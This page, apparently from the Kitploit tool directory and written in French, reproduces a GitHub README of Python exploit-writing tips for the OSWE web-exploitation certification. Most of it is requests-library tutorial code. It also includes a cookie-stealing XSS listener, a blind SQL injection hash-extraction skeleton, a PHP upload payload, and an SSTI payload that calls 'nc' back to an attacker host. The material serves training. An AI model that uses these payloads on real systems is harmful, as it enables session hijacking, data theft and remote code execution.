Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
exploit-writing-for-oswe — Tips on how to write exploit scripts (faster!) | Kitploit
Outils/GitHubGitHub/rizemon/exploit-writing-for-oswe
Scripting & AutomationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationCurated ResourcesPayload Development
GitHubrizemon/exploit-writing-for-oswe

exploit-writing-for-oswe

Tips on how to write exploit scripts (faster!)

Voir le dépôt
591112il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Écriture d'exploits pour OSWE

Contexte

Quoi

Ce dépôt contient une liste d'extraits de code et de conseils utiles concernant l'écriture de scripts d'exploit dans les laboratoires OSWE et l'examen de certification.

Certains exemples peuvent aller à l'encontre de certaines pratiques de codage, mais notre objectif final est d'écrire le script d'exploit rapidement et correctement.

La section Extraits de code est un excellent point de départ si vous n'êtes pas expérimenté avec la bibliothèque requests ou si vous débutez en Python. Sinon, n'hésitez pas à passer directement à la section Code réutilisable ou à la section Conseils.

Pourquoi

  • Bien qu'il existe de nombreux write-ups, revues et notes sur la certification, peu de ressources se concentrent spécifiquement sur le processus d'écriture d'exploits.
  • L'écriture du script d'exploit peut être intimidante, en particulier pour ceux qui débutent en Python ou qui ont peu d'expérience dans l'interaction avec des applications web via du code.
  • Le temps passé à identifier les vulnérabilités et à documenter un rapport d'examen peut varier considérablement, mais le temps consacré au développement du script d'exploit peut être minimisé et maintenu constant s'il est bien maîtrisé.

Table des matières

  • Écriture d'exploits pour OSWE
    • Contexte
      • Quoi
      • Pourquoi
    • Table des matières
    • Extraits de code
      • Modèle de départ
      • Imports utiles
      • Utilisation de la bibliothèque requests
        • Envoi de la requête HTTP la plus simple
        • Spécification de différentes méthodes HTTP
        • Lecture de la réponse HTTP
        • Envoi de données comme chaîne de requête dans l'URL (en utilisant l'argument params)
        • Envoi de données comme chaîne de requête dans le corps (en utilisant l'argument data)
        • Envoi de données comme JSON dans le corps (en utilisant l'argument json)
        • Envoi d'un fichier dans le corps (en utilisant l'argument files)
        • Définition des en-têtes HTTP (en utilisant l'argument headers)
        • Définition des cookies HTTP (en utilisant l'argument )

Extraits de code

Modèle de départ

root@kitploit:~
import requests

def main():
    print("Hello World!")

if __name__ == __main__:
    main()

Imports utiles

root@kitploit:~
# For sending HTTP requests
import requests

# For Base64 encoding/decoding
from base64 import b64encode, b64decode, urlsafe_b64encode, urlsafe_b64decode

# For getting current time or for calculating time delays
from time import time

# For regular expressions
import re

# For running shell commands
import subprocess

# For multithreading
from concurrent.futures import ThreadPoolExecutor

# For running a HTTP server in the background
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler

# For parsing HTTP cookies
from http import cookies

# For getting command-line arguments
import sys

Utilisation de la bibliothèque requests

Envoi de la requête HTTP la plus simple

root@kitploit:~
resp_obj = requests.get("https://github.com")

Spécification de différentes méthodes HTTP

root@kitploit:~
# GET method
requests.get("https://github.com")

# POST method
requests.post("https://github.com")

# PUT method
requests.put("https://github.com")

# PATCH method
requests.patch("https://github.com")

# DELETE method
requests.delete("https://github.com")

Lecture de la réponse HTTP

root@kitploit:~
resp_obj = requests.get("https://github.com")

# HTTP status code (e.g 404, 500, 301)
resp_obj.status_code

# HTTP response headers (e.g Location, Content-Disposition)
resp_obj.headers["Location"]

# Body as bytes
resp_obj.content

# Body as a string
resp_obj.text

# Body as a dictionary (if body is a JSON)
resp_obj.json()

Envoi de données comme chaîne de requête dans l'URL (en utilisant l'argument params)

root@kitploit:~
params = {
    "foo": "bar"
}

requests.get("https://github.com", params=params)

Envoi de données comme chaîne de requête dans le corps (en utilisant l'argument data)

root@kitploit:~
data = {
    "foo": "bar"
}

requests.post("https://github.com", data=data)

Envoi de données comme JSON dans le corps (en utilisant l'argument json)

root@kitploit:~
data = {
    "foo": "bar"
}

requests.post("https://github.com", json=data)

Envoi d'un fichier dans le corps (en utilisant l'argument files)

root@kitploit:~
files = {
    #                (FILE_NAME, FILE_CONTENTS, FILE_MIMETYPE)
    "uploaded_file": ("phpinfo.php", b"<?php phpinfo() ?>", "application/x-httpd-php")
}

requests.post("https://github.com", files=files)

Définition des en-têtes HTTP (en utilisant l'argument headers)

root@kitploit:~
headers = {
    "X-Forwarded-For": "127.0.0.1"
}

requests.get("https://github.com", headers=headers)

Définition des cookies HTTP (en utilisant l'argument cookies)

root@kitploit:~
cookies = {
    "PHPSESSID": "fakesession"
}

requests.get("https://github.com", cookies=cookies)

Désactivation du suivi des redirections 3XX (en utilisant l'argument allow_redirects)

root@kitploit:~
requests.post("https://github.com/login", allow_redirects=False)

Interaction avec un serveur HTTPS non vérifié (en utilisant l'argument verify)

root@kitploit:~
# Supresses InsecureRequestWarning messages
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

requests.get("https://github.com", verify=False)

Envoi d'une requête via un proxy HTTP (en utilisant l'argument proxies)

root@kitploit:~
proxies = {
    "HTTP": "http://127.0.0.1:8080",
    "HTTPS": "http://127.0.0.1:8080"
}

requests.get("https://github.com", proxies=proxies)

Création d'une Session

root@kitploit:~
session = requests.Session()
session.get("https://github.com")

Définition de cookies persistants

root@kitploit:~
session = requests.Session()
session.cookies.update({"PHPSESSID": "fakesession"})

Définition d'en-têtes persistants

root@kitploit:~
session = requests.Session()
session.headers["Authorization"] = "Basic 123"

Dépannage

Utiliser Wireshark et filtrer les requêtes HTTP

  1. Ouvrez Wireshark
  2. Sélectionnez l'interface VPN (par exemple tun0)
  3. Saisissez http dans la barre de filtre.

Afficher le contenu de la requête HTTP

root@kitploit:~
data = {
    "foo": "bar"
}
resp_obj = requests.post("https://github.com", data=data)
prepared_request = resp_obj.request

print("Method:\n", prepared_request.method)
print()
print("URL:\n", prepared_request.url)
print()
print("Headers:\n", prepared_request.headers)
print()
print("Body:\n", prepared_request.body)

Faire passer la requête HTTP par Burp Suite et l'inspecter

  1. Ouvrez Burp Suite
  2. Naviguez jusqu'à l'onglet "Proxy" et définissez "Intercept" sur "On".

Code réutilisable

Servir des fichiers via HTTP

root@kitploit:~
LHOST      = "10.0.0.1"
WEB_PORT   = 8000
JS_PAYLOAD = "<script>alert(1)</script>"

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):
        # Uncomment this method to suppress HTTP logs
        # def log_message(self, format, *args):
        #     return

        def do_GET(self):
            if self.path.endswith('/payload.js'):
                self.send_response(200)
                self.send_header("Content-Type", "application/javascript")
                self.send_header("Content-Length", str(len(JS_PAYLOAD)))
                self.end_headers()
                self.wfile.write(JS_PAYLOAD.encode())
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()

Vol de cookies HTTP

root@kitploit:~
LHOST      = "10.0.0.1"
WEB_PORT   = 8000

requests = requests.Session()
xss_event = threading.Event() # Signifies when victim sends their cookie

def send_xss_payload():
    pass

def start_web_server():
    class MyHandler(BaseHTTPRequestHandler):

        def do_GET(self):
            self.send_response(200)
            self.end_headers()

            # Load stolen cookie into session
            _, enc_cookie = self.path.split("/?cookie=", 1)
            plain_cookie = urlsafe_b64decode(enc_cookie).decode()
            session.cookies["PHPSESSID"] = cookies.SimpleCookie(plain_cookie)["PHPSESSID"]

            xss_event.set() # Trigger the event
            
    httpd = HTTPServer((LHOST, WEB_PORT), MyHandler)
    threading.Thread(target=httpd.serve_forever).start()

start_web_server()
send_xss_payload()
xss_event.wait() # Wait for event to be triggered
print("[+] Stolen cookie:", session.cookies["PHPSESSID"])

Accélérer les injections SQL

root@kitploit:~
MAX_WORKERS = 20
HASH_LENGTH = 32

def exfiltrate_hash():

    def boolean_sqli(arguments):
        idx, ascii_val = arguments
        # ...
        # Perform SQLi and store boolean outcome into truth
        # ...
        return ascii_val, truth

    result = ""

    # Go through each character position
    for idx in range(HASH_LENGTH):

        # Use MAX_WORKERS threads to test possible ASCII values in parallel
        with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
            # Pass each of (0, 32), (0, 33) ..., (0, 126) as an argument to boolean_sqli()
            responses = executor.map(boolean_sqli, [(idx, ascii_val) for ascii_val in range(32, 126)])

        # Go through each response and determine which ASCII value is correct
        for ascii_val, truth in responses:
            if truth:
                result += chr(ascii_val)
                break
    
    return result

hash = exfiltrate_hash()

Conseils

Effectuer une vérification de cohérence après chaque requête HTTP avec assert

  • Détecter si un webshell est bien téléversé avant de tenter de le déclencher
  • Détecter si l'authentification a réussi avant d'exploiter des fonctionnalités authentifiées

Exemple :

root@kitploit:~
# Suppose 302 is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data, allow_redirect=False)
assert resp_obj.status_code == 302, "Login not successful"

# Suppose admin page is returned if successful login
resp_obj = requests.post("http://example.com/login", data=data)
assert "Admin Dashboard" in resp_obj.content, "Login not successful"

Afficher des messages significatifs après chaque étape

  • Action en cours de démarrage/terminée OU
  • Cookies/jetons/fichiers/valeurs récupérés

Exemple :

root@kitploit:~
[+] Parsed command-line arguments and got:
  * BASE_URL: http://example.com
  * LHOST:    127.0.0.1
  * LPORT:    1337
[+] Triggered password reset token generation
[=] Getting password reset token length...
[+] Got password reset token length: 10
[=] Retrieving password reset token...
[+] Got password reset token: FAKE_TOKEN

Séparer chaque étape d'exploitation dans sa propre fonction

Exemple :

root@kitploit:~
def register():
    pass

def login():
    pass

def rce():
    pass

Créer un objet Session global afin qu'il n'ait pas besoin d'être explicitement passé à chaque appel de fonction

root@kitploit:~
session = requests.Session()

def login():
    session.post(...)

def rce():
    session.post(...)

Créer une chaîne globale BASE_URL et construire les URL requises à partir de celle-ci

root@kitploit:~
BASE_URL = ""
session = requests.Session()

def login():
    url = BASE_URL + "/login"
    session.post(url, ...)

def rce():
    url = BASE_URL + "/rce"
    session.post(url, ...)

def main():
    # Allow BASE_URL to be modified
    global BASE_URL
    BASE_URL = sys.argv[1]
...

Pour forcer toutes les requêtes HTTP à passer par Burp Suite sans utiliser l'argument proxies, définissez la variable d'environnement HTTP_PROXY / HTTPS_PROXY au lancement

root@kitploit:~
$ HTTP_PROXY=http://127.0.0.1:8080 python3 poc.py

Appliquer des schémas d'encodage/décodage pour permettre une transmission sûre des payloads

  • Base64
  • Hexadécimal

Utiliser """ pour créer la chaîne du payload si elle contient à la fois des guillemets simples (') et doubles (")

Exemple :

root@kitploit:~
payload = """This is a '. This is a "."""

Accélérer les injections SQL avec le multithreading

Voir Accélérer les injections SQL.

Coder en dur le cookie d'un utilisateur authentifié lors du développement d'exploits pour des fonctionnalités authentifiées

Surtout si de nombreuses étapes chronophages ont dû être réalisées pour obtenir une session authentifiée

Exemple :

root@kitploit:~
session = requests.Session()

def main():
    # Skipping these for now...
    # register()
    # login()

    # TODO: Delete this line after you are
    # done developing and uncomment the above steps!
    session.cookies["JSESSIONID"] = "ADMIN_COOKIE"

    # Exploit authenticated features...
...

Éviter les f-strings (f"") ou str.format si le payload contient trop d'accolades ({})

Doubler chaque accolade juste pour les échapper peut être fastidieux et source d'erreurs. Utilisez plutôt des espaces réservés simples et faites un .replace() !

Exemple :

root@kitploit:~
# Too many curly braces
ssti_payload = f"{{{{ __import__('os').system('nc {LHOST} {LPORT}') }}}}"
# Much easier to read
ssti_payload = "{{ __import__('os').system('nc <LHOST> <LPORT>') }}"\
    .replace("<LHOST>", LHOST)\
    .replace("<LPORT>", LPORT)
Télécharger l’outil
cookies
  • Désactivation du suivi des redirections 3XX (en utilisant l'argument allow_redirects)
  • Interaction avec un serveur HTTPS non vérifié (en utilisant l'argument verify)
  • Envoi d'une requête via un proxy HTTP (en utilisant l'argument proxies)
  • Création d'une Session
  • Définition de cookies persistants
  • Définition d'en-têtes persistants
  • Dépannage
    • Utiliser Wireshark et filtrer les requêtes HTTP
    • Afficher le contenu de la requête HTTP
    • Faire passer la requête HTTP par Burp Suite et l'inspecter
  • Code réutilisable
    • Servir des fichiers via HTTP
    • Vol de cookies HTTP
    • Accélérer les injections SQL
  • Conseils
    • Effectuer une vérification de cohérence après chaque requête HTTP avec assert
    • Afficher des messages significatifs après chaque étape
    • Séparer chaque étape d'exploitation dans sa propre fonction
    • Créer un objet Session global afin qu'il n'ait pas besoin d'être explicitement passé à chaque appel de fonction
    • Créer une chaîne globale BASE_URL et construire les URL requises à partir de celle-ci
    • Pour forcer toutes les requêtes HTTP à passer par Burp Suite sans utiliser l'argument proxies, définissez la variable d'environnement HTTP_PROXY / HTTPS_PROXY au lancement
    • Appliquer des schémas d'encodage/décodage pour permettre une transmission sûre des payloads
    • Utiliser """ pour créer la chaîne du payload si elle contient à la fois des guillemets simples (') et doubles (")
    • Accélérer les injections SQL avec le multithreading
    • Coder en dur le cookie d'un utilisateur authentifié lors du développement d'exploits pour des fonctionnalités authentifiées
    • Éviter les f-strings (f"") ou str.format si le payload contient trop d'accolades ({})